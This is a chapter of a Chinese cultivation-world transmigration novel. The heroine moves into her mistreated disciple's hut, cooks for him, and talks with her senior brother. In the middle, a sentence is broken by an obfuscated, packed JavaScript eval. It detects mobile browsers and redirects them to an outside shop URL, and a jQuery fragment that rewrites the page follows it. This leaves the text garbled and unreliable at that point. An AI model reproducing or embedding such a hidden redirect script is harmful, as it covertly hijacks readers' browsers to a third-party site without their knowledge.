江照鱼扫了眼和主殿连着的偏殿,欣然同意。

    从主殿收拾出来的东西还摆放在遥远的另一间偏殿还没安置,日常要用的东西拿过来十分方便,只是相隔了好几条长廊。

    想必是谢佑安故意折腾她的。

    好在她有的是时间。

    江照鱼回原本挑中的偏殿休息了一会,上灵网监测了一下舆论风向,见那篇质疑她学术造假的帖子已经封贴慢慢跌了下去,便退了出来,重新吃起了瓜。

    晚些,才拿了行李,怀中抱着上网设备灵网媒介——那块足有棋盘大小的完整玉块,回去和谢佑安调换寝室。

    谢佑安居住的偏殿房门紧闭,隔壁的主殿内仍是空无一物的状态。

    江照鱼正欲敲门,那两扇紧闭的雕花玉门左右打开,从阴影中走出一个身量颀长的人影。

    晚霞照在青年轮廓分明的脸上,半边脸浸在阴影当中,身上的玄黑色劲装几乎和殿中的昏暗融为一体。

    黑眸幽深,喜怒不形于色,瞳仁居高临下的望着来人,像蛰伏在暗处的蛇一样,隐隐弥漫着危险的气息。

    江照鱼揣着手,识趣道:“原来你还不曾搬过去?那我明日再过来。”

    说完便要抱着自己的东西回转。

    那灵网媒介着实有些重,是实心的,比她的肩还要宽,压在露出一截的小臂上,将皮肤摩的泛红。

    谢佑安低垂着眸光,比江照鱼足足高了一个脑袋的修长身量轻而易举就能将她从头到脚收归眼底。

    能成为修真界万人敬仰的青眠仙君,江照鱼无疑生了一副绝佳的皮囊。

    生的好看,面若观音,气质出尘,她即便没有修为,可只是那副冷淡的模样叫人乍眼一瞧,也觉得是位修为高深的女仙。

    如此这副搬着重物的模样,瞧着倒是可怜,和以前两模两样。

    但谢佑安看多了她凤眸满含算计,心似蛇蝎神情狰狞,心中早已没了半分怜悯,只觉得她装腔作势,见风使舵,事到如今还妄图博求同情。

    他的心头血还在这个女人手上,她分明随时都能让自己就范。

    不知现在又在耍什么把戏,竟还装起失忆。

    真当过往能随着她一句不记得便烟消云散了么……

    他才不信那个自私虚伪如履如临的女人会真的失忆。

    “站住。”他道。

    “师尊忘了,我不介意提醒一下师尊,我原先住在哪里。”

    似乎不是这里,江照鱼忽然有种不好的预感。

    这怎么听起来除了压榨,还有虐待的剧情?

    谢佑安盯着她僵住的背影:“跟我来。”

    他倒要看看,她能忍到什么地步。

    江照鱼跟着他一脚深一脚浅的来到了原身雕栏玉砌的洞府边的一间茅屋外。

    四四方方小盒子一样的茅草房,还比不上原身主殿里面的一张拔步床大。

    江照鱼悬着的心死了。

    “我在这里住了十八年,师尊一点都不记得了吗?”

    他语气平淡,听不出情绪,双眸却暗流涌动,盯着江照鱼的脸,企图从里面找到伪善的破绽。

    可一无所获。

    江照鱼此刻死掉的心已经死绝了,如一汪死水结了冰,扔粒石子进去不仅激不起半分水花,只能在冰面上无能的蹦哒两下。

    这已经不是百思不得其解的问题了,万思她也不得其解,这修真界的师徒关系得是有多重,才让谢佑安忍到现在还没有杀了她?

    她可不觉得谢佑安是个逆来顺受的圣父。

    江照鱼认真思考了一下坦白身份的可能性。

    不太行。

    先不说谢佑安信不信,外面还有一个温景谦对原身无限包容,两者听起来还是温景谦更难缠点。

    毕竟谢佑安至少隐忍至此还没杀她,而温景谦能为了师妹放下面子双膝下跪,她只有顶着原身的身份才是暂时安全。

    但对方身上的厉鬼味似乎都要溢出来,江照鱼总觉得夜半三更他会给自己来上一刀,抱着玉石微微挣扎:“佑安,假使我说我不是你师尊,你信吗?”

    谢佑安安静的看着她,嗤了一声。

    好吧,不信。

    江照鱼认命。

    她抱着巨大的玉块颓然推开茅屋,里面的情况比她想象中的稍微好一些。

    一张仅供单人睡下的木床干净整洁,还有一张三尺宽的小桌,没有椅子,不过紧靠着木床,可以坐在床上写字吃饭。

    桌子和木床一侧已经盘包浆了,锃光瓦亮,可见谢佑安的话一点都没有掺假,十八年只多不少。

    宝钏的寒窑应该都比茅屋的环境好。

    想到原身不做人,没想到原身这么不做人。

    自己住金碧辉煌的宫殿,让徒弟住翻身都困难的破屋。是人?

    谢佑安到底有什么把柄在原身身上,竟然忍到现在还没有动手?

    江照鱼默默把装了衣裳的包袱扔上床,很坦然的就接受了自己未来一年住这的要求。

    将足有棋盘大的灵网媒介放在小桌上,调整了一下位置,确保自己躺在床上能随时上到网。

    有灵网在,其实住哪都一样,反正她宅,给张床就行。

    而且她方才在门口暗中观察过了,这小茅屋边上有口露天的灶台和一些瓦罐,紧挨着池塘,背靠竹林,另一侧接着一块田,种满了仙植。

    接下来一年她和谢佑安身份对调,青眠山往日上来打扫的弟子全都撤了去,她没有修为,很多事需要亲力亲为,住在这用水烧火吃饭全都没问题了,其实往好处想,比鳞次栉比的宫殿洞府里是要方便多。

    谢佑安隐匿气息站在茅屋外,本以为会听到里面的破口大骂,却一直没有动静传出。

    反倒是一边关闭着的小竹窗被从里面打开,探出一张冷白如雪、山眉水眼的脸来。

    江照鱼锁定他,眨着眼问:“佑安,你晚上有什么想吃的吗?”

    谢佑安对上她的目光,眼底幽深。

    江照鱼头皮发麻,却还保持着镇定,投去一个疑惑的目光。

    又怎么了我的大徒弟?

    谢佑安:“又想在吃食中下药?师尊是没有别的招了么。”

    什么叫“又”?

    江照鱼:“……”原身的恶毒竟远远超过了我的想象吗?

    抱歉。

    江照鱼默默将头钻了回去。

    门外的青年不知何时走的,总之江照鱼从茅屋内出来,就没瞧见谢佑安了。

    她上灵网搜了一下,修为到达金丹期的修士会一种叫做“辟谷”的技能,和传统观念的辟谷不同的是,这里的辟谷需要消耗自身的灵力。

    也就是说,不到万不得已,一般修士是不会愿意辟谷的。

    穷一点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841425|211659||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的修士只能吃凡食,略微有钱一些的,就吃灵植、灵兽肉,富修士才买辟谷丹吃。

    谢佑安被原身剥削到这地步,想必不是有钱修士一类的。

    一个人的饭也是做,两个人的饭也是做,好歹占据了原身的身体,就当赎罪了。

    当然,这一年能和谢佑安缓和一点关系,那就更好了,她也能住的舒心一些。

    江照鱼去田里摘灵植的时候,多摘了一份。

    灵植富含灵力,不沾泥尘,连野草都不在四周生长,但江照鱼过不去心里那道坎总觉得不干净,还是去水里过一遍水。

    在池子边洗灵植叶子的时候,温景谦来了。

    他看到蹲在池边的江照鱼,脚步一顿,朝这边走了过来,顺手把剩下的灵植洗了,才理了理衣裳,往洞府里去。

    江照鱼开始钻木取火。

    之前的饭菜都是杂役送来的,不过现在开始青眠山不出意外是不会有外人打扰了。

    幸好她曾经学过钻木取火的技巧,技不压身,这不就用上了。

    温景谦从洞府出来,江照鱼还在奋力钻木。

    两人遥遥相望了一眼,温景谦脚步一转,朝这边走来。

    捞起宽大的白袍蹲下,一边将她手里的家伙接了过来:“青眠,这是做什么?”

    江照鱼羞赧的低头:“师兄,我在生火。”

    她真的看过教程的!

    应该是修真界的木头和现代的不一样。

    温景谦动作一顿,放下钻木的木架子,指尖随便一掐,地上的木柴便凭空蹿起了火苗。

    “多谢师兄。”江照鱼连忙将着火的木柴送进灶膛。

    温景谦道:“青眠,这一年辛苦你了,饭菜我会带上来,你不必亲自动手。”

    江照鱼并不觉得一个日理万机的掌门会每天三餐定时放送,人总是要自食其力。

    给自己做饭吃这点小事她还是能够自己完成的。

    婉拒了温景谦,她认下原身的锅:“师兄言重了,不必担心我,偶尔送些柴米油盐来便可。倒是佑安,我之前对不住他良多,这一年我会照顾好他,好好担起一个师尊的责任和义务。”

    温景谦将柴递给她:“好,有任何需要,随时同我讲。”

    江照鱼:“能劳烦师兄用法术从塘里捞一条鱼来吗?”

    温景谦愣了一下,随和道:“那是自然。”

    灵植在锅中焯水,被温景谦用法术捞上来的鱼被江照鱼打晕,开膛破肚,鱼头和鱼身分开,放在一旁备用。

    焯水的灵植捞出后,刷掉锅水,倒入菜油。

    师兄妹两人和谐的一个高深莫测的拿着锅铲冷脸做菜,一个毫无掌门架子的蹲在地上和蔼的把控火势。

    一荤一素一汤很快出锅。

    温景谦灭了火后,又顺手接过锅刷,捞起宽大的袖子,将锅给刷了。

    边洗边道:“青眠,无相宗已问起你的事,我想,十日后昆虚宫少宫主大婚,你和佑安同我一起去。”

    无相宗开山祖师便是灵网创始者,如今虽由十大宗门共同维系灵网,但无相宗的权限是最大的,想来是那帖子引起了无相宗的注意,查到江照鱼并未注册过灵网了。

    江照鱼面露犹疑:“师兄的意思是……”

    温景谦微微弯了下唇:“我们再去求一求佑安。”

    江照鱼:“……”